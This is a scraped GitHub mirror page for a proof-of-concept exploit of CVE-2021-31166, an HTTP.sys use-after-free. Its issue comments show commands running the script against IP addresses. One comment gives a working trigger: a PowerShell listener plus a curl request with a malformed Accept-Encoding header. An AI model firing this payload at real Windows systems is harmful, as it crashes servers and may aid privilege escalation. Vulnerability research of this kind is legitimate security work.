0vercl0k / cve-2021-31166 Goto Github PK
View Code? Open in Web Editor NEWProof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.
License: MIT License
Proof of concept for CVE-2021-31166, a remote HTTP.sys use-after-free triggered remotely.
License: MIT License
On Linux the command
python3 cve-2021-31166.py --target=192.168.0.112
hangs then fails with connection timed out error. Target is a Windows 10 20H2 64 bit machine that (I believe) wasn't updated in 3 weeks. Does that mean it isn't vulnerable?
I think you can use curl to exploit as well. Likely local privilege escalation, since a normal user can register a listener on a high port.
$listener = New-Object System.Net.HttpListener
$listener.Prefixes.Add('http://localhost:8080/')
$listener.Start()
curl.exe -H 'Accept-Encoding: doar-e, ftw, imo, ,' http://localhost:8080/
Also which tool are you using to reverse with, for the images? Very cool
Cheers
D:\git\Vulnerability\CVE\CVE-2021-31166>C:\python27\python.exe cve-2021-31166.py --target=172.23.240.1
File "cve-2021-31166.py", line 9
r = requests.get(f'http://{args.target}/', headers = {
^
SyntaxError: invalid syntax
D:\git\Vulnerability\CVE\CVE-2021-31166>
Hello! OS Windows-Server-2016-Standard, try:
python3 cve-2021-31166.py --target X.X.X.X
But <Responce [200]>. This is because OS not from trouble list: Windows Server version 2004 (or 20H1) , Windows 10 Version 2004 (or 20H1), Windows Server, version 20H2, Windows 10 Version 20H2?
I just want to verify some assets, but I don't know the status code of 200 results of poc is successful?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
๐ Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. ๐๐๐
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google โค๏ธ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.